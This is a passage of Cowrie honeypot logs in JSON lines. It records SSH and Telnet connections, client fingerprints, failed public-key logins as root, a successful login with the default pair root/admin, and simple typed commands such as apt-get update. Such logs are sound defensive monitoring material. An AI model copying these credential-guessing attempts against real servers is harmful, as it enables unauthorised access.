{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:35.774487Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:36.194703Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:36.965686Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:37.488376Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:37.692363Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:38.916245Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52806,"dst_ip":"159.203.135.109","dst_port":23,"session":"aebc71225fa3","protocol":"telnet","message":"New connection: 147.182.143.59:52806 (159.203.135.109:23) [session: aebc71225fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:40.672235Z"}
{"eventid":"cowrie.session.closed","duration":16.791833639144897,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:43.779763Z","src_ip":"147.182.143.59","session":"0eb88014803e","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:52.226216Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:53.267422Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:53.272446Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.806730270385742,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:53.478798Z","src_ip":"147.182.143.59","session":"aebc71225fa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":40316,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba8134d03caf","protocol":"ssh","message":"New connection: 47.239.15.75:40316 (159.203.135.109:22) [session: ba8134d03caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:53.715587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:53.730980Z","src_ip":"47.239.15.75","session":"ba8134d03caf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:54.947737Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:55.956040Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:42:55.962379Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":38450,"dst_ip":"159.203.135.109","dst_port":22,"session":"b70eccc2d520","protocol":"ssh","message":"New connection: 47.239.15.75:38450 (159.203.135.109:22) [session: b70eccc2d520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:03.711765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:06.989450Z","src_ip":"47.239.15.75","session":"b70eccc2d520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37620,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ce5f44df682","protocol":"telnet","message":"New connection: 147.182.143.59:37620 (159.203.135.109:23) [session: 5ce5f44df682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:08.849143Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.4","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:09.319143Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.0","message":"Connection lost after 36.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:09.538086Z","src_ip":"185.71.233.73","session":"bb54cd7c14da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:11.990778Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.6","message":"Connection lost after 36.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:12.213438Z","src_ip":"185.71.233.73","session":"c1e8cab6e10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.406078577041626,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:14.255083Z","src_ip":"147.182.143.59","session":"5ce5f44df682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39446,"dst_ip":"10.17.0.5","dst_port":23,"session":"142c7e6ea99c","protocol":"telnet","message":"New connection: 45.58.127.90:39446 (10.17.0.5:23) [session: 142c7e6ea99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:41.660253Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.50.7","src_port":54156,"dst_ip":"10.17.0.5","dst_port":22,"session":"882a29a979e0","protocol":"ssh","message":"New connection: 198.98.50.7:54156 (10.17.0.5:22) [session: 882a29a979e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.530310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.534892Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.541915Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:d1:5c:aa:db:e7:8c:00:37:e0:f0:a3:22:ad:7b:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6SxqjmTcJzN3ke9g3sH+niV77adD81Nsr83d5hSBtR0DUHs0LsXFIr3VkM5gygnKrf8kyt1zHjChCuZDKuarhZZcHyEP76JQkzpMSjpOMIDJ45zBF/9UyqiDKRcXGIoOFsb3vmUo9gv6DxqIN/7NVgpJRm1LuxuUd1xOfxLcgb9RSnz1MvkDfujYKBe/0Eu1x8Vi7AlffAQFRQ9ug/NCMx3h17KRInfpTXPctAwAE2dMxrmFuEby5Ijx5mNZavaNCMNZAP+ssj+g4Uk5Rh/Cmwl49yhhyKgBulzIGSi2Y5dgHHNi5lJbvYMtq1r1aXlT4HZM67al+g+skSHTLVXkx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:d1:5c:aa:db:e7:8c:00:37:e0:f0:a3:22:ad:7b:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.561089Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:d1:5c:aa:db:e7:8c:00:37:e0:f0:a3:22:ad:7b:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6SxqjmTcJzN3ke9g3sH+niV77adD81Nsr83d5hSBtR0DUHs0LsXFIr3VkM5gygnKrf8kyt1zHjChCuZDKuarhZZcHyEP76JQkzpMSjpOMIDJ45zBF/9UyqiDKRcXGIoOFsb3vmUo9gv6DxqIN/7NVgpJRm1LuxuUd1xOfxLcgb9RSnz1MvkDfujYKBe/0Eu1x8Vi7AlffAQFRQ9ug/NCMx3h17KRInfpTXPctAwAE2dMxrmFuEby5Ijx5mNZavaNCMNZAP+ssj+g4Uk5Rh/Cmwl49yhhyKgBulzIGSi2Y5dgHHNi5lJbvYMtq1r1aXlT4HZM67al+g+skSHTLVXkx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.564219Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:ec:ce:52:4c:e1:cf:0b:d2:7b:c3:70:54:20:c8:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChpqoCWUYXiyqulrn+xscJsggR801oZKnRA2bGFMljd8ekO0oXIETfiuGPAROfckJV+TOadgu6f94gBpc64XRp/wSQRfyitaHezpsA/NU6Yvj9WLVVe4w8TDkDvLGe4OUL7bZ/p25Gn7yyY0SZrPy1S02ihRM/t2oxIKxYKXp/1zwSbM5trnTsYQ5UWPmgUjMgwgvTvLdDvlcpXhAKBGGhsn5m5ttp/cEsj5qgd2IHdbjZLh/P0igYGxSqarJlsUkPDvh22ciP79HOfW4wHgp+0ywWSiIX65jCrpNrreK7AJU28lQ2naZ0B3jgB65i9SE3vTPGhW5m7Jo0ToXqPIXJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:ec:ce:52:4c:e1:cf:0b:d2:7b:c3:70:54:20:c8:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.574395Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:ec:ce:52:4c:e1:cf:0b:d2:7b:c3:70:54:20:c8:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChpqoCWUYXiyqulrn+xscJsggR801oZKnRA2bGFMljd8ekO0oXIETfiuGPAROfckJV+TOadgu6f94gBpc64XRp/wSQRfyitaHezpsA/NU6Yvj9WLVVe4w8TDkDvLGe4OUL7bZ/p25Gn7yyY0SZrPy1S02ihRM/t2oxIKxYKXp/1zwSbM5trnTsYQ5UWPmgUjMgwgvTvLdDvlcpXhAKBGGhsn5m5ttp/cEsj5qgd2IHdbjZLh/P0igYGxSqarJlsUkPDvh22ciP79HOfW4wHgp+0ywWSiIX65jCrpNrreK7AJU28lQ2naZ0B3jgB65i9SE3vTPGhW5m7Jo0ToXqPIXJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.578351Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:f7:9c:2d:a6:da:bf:18:bd:09:a3:50:f0:1b:15:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA36ooXwQtEcUiIDIl/8+urTmlm1bpnOvJtr2CULic0W9Mg7hbyM0Wsv0xuBwY55k+cByTUogsGj6Nf1j5XrRcR4o4D31C5yHB3VnaSVVFl85mWKwusANQMjzFiX88X4bqyfJ7395FW2mUBEnz8Zna2nbuisnpWnFFsbmu5qC/4XGwlMgYA2ZVuxDsUP77ETFNOXOYRaTFDPtA5L9BxcFObAmkXBSg5tGxV1zTNcFQXzQxREfaj5ylYgSpPUKkwWLT6/pFBSCc0m6DjURMdcFoDPRBTCWFtrL7ZVk0WSqszjgFJSpGPde1gWfVM9V5MZcwV4tIybBE7Xr7Diu+ASH5wQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:f7:9c:2d:a6:da:bf:18:bd:09:a3:50:f0:1b:15:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.586094Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:f7:9c:2d:a6:da:bf:18:bd:09:a3:50:f0:1b:15:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA36ooXwQtEcUiIDIl/8+urTmlm1bpnOvJtr2CULic0W9Mg7hbyM0Wsv0xuBwY55k+cByTUogsGj6Nf1j5XrRcR4o4D31C5yHB3VnaSVVFl85mWKwusANQMjzFiX88X4bqyfJ7395FW2mUBEnz8Zna2nbuisnpWnFFsbmu5qC/4XGwlMgYA2ZVuxDsUP77ETFNOXOYRaTFDPtA5L9BxcFObAmkXBSg5tGxV1zTNcFQXzQxREfaj5ylYgSpPUKkwWLT6/pFBSCc0m6DjURMdcFoDPRBTCWFtrL7ZVk0WSqszjgFJSpGPde1gWfVM9V5MZcwV4tIybBE7Xr7Diu+ASH5wQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.590160Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:fe:bf:a1:02:16:73:42:4d:11:99:f3:af:f0:93:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6XzhTgWNqf2LdVppKk2/fbGNjKmP+znJRJiqO3vUarskif2ziP4J93laIb4t3HzBR7jew+ThQKZfuQzfRVKF/HTJ+Wb/tC0Mab3NbO9B4jH+dWcBrb0vHzjMFajGg6w62pMfJrGkkkXtGRYcQHSP8WuFR9x/AMB1M9Jubhn1xlsp48c3Kdlhcmb9tTqS98U5RU9A9tqeQI/3VimfHsVX3YRtQRImY2u2P0HZp68Y39A7JsUkLwRBcL5WF04YfbkbM8fVjnphduTi9e5lwnD+JQ3uzs7vVL0sqhS8E1QCcVsNG8iBIiFrnCsT9J9x+5OvPUh4PgQMzNc0TeI+1dmKD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:fe:bf:a1:02:16:73:42:4d:11:99:f3:af:f0:93:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.600569Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:fe:bf:a1:02:16:73:42:4d:11:99:f3:af:f0:93:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6XzhTgWNqf2LdVppKk2/fbGNjKmP+znJRJiqO3vUarskif2ziP4J93laIb4t3HzBR7jew+ThQKZfuQzfRVKF/HTJ+Wb/tC0Mab3NbO9B4jH+dWcBrb0vHzjMFajGg6w62pMfJrGkkkXtGRYcQHSP8WuFR9x/AMB1M9Jubhn1xlsp48c3Kdlhcmb9tTqS98U5RU9A9tqeQI/3VimfHsVX3YRtQRImY2u2P0HZp68Y39A7JsUkLwRBcL5WF04YfbkbM8fVjnphduTi9e5lwnD+JQ3uzs7vVL0sqhS8E1QCcVsNG8iBIiFrnCsT9J9x+5OvPUh4PgQMzNc0TeI+1dmKD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.604533Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:58:3a:e1:74:5f:60:27:26:22:84:a1:7e:be:6e:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqeC2Z0gti4mdvMvDYYtyhF0R9w0Ao2nAPRbKiNmTiLThl3ovxocyZfTD5pzSsZR9T4K0W873Ms+xHuPzEAh4O3qapV2nW5eB6Lmzfrt7bVXlp+aJ3GKpxWSnjlzDAm9DH5MrDeVFJkKaLwj95c9BAkdcOyVCz4NKIVnguGZCYu5MvxnWw0yh8Y3/nkcd+42TjihC7NrTMHAwfl+uliQCLbYUjNhzQ0ELG3H0j6lbn7ZxjkD6YuFRjWBIx+Loz2QPu7GSol/wfVVlnpwurz/O+yG01FMAMEaoX5K4+mzgfj7X4vcoFgw1p0pfYgunxCpfv4c2j82xuw73uDdYLk6VV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:58:3a:e1:74:5f:60:27:26:22:84:a1:7e:be:6e:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.613299Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:58:3a:e1:74:5f:60:27:26:22:84:a1:7e:be:6e:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqeC2Z0gti4mdvMvDYYtyhF0R9w0Ao2nAPRbKiNmTiLThl3ovxocyZfTD5pzSsZR9T4K0W873Ms+xHuPzEAh4O3qapV2nW5eB6Lmzfrt7bVXlp+aJ3GKpxWSnjlzDAm9DH5MrDeVFJkKaLwj95c9BAkdcOyVCz4NKIVnguGZCYu5MvxnWw0yh8Y3/nkcd+42TjihC7NrTMHAwfl+uliQCLbYUjNhzQ0ELG3H0j6lbn7ZxjkD6YuFRjWBIx+Loz2QPu7GSol/wfVVlnpwurz/O+yG01FMAMEaoX5K4+mzgfj7X4vcoFgw1p0pfYgunxCpfv4c2j82xuw73uDdYLk6VV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.615570Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:52.621961Z","src_ip":"198.98.50.7","session":"882a29a979e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45058,"dst_ip":"10.17.0.5","dst_port":23,"session":"b36d458ae195","protocol":"telnet","message":"New connection: 45.58.127.90:45058 (10.17.0.5:23) [session: b36d458ae195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:53.934283Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45064,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb436c85f9f0","protocol":"telnet","message":"New connection: 45.58.127.90:45064 (10.17.0.5:23) [session: fb436c85f9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:43:54.526854Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"e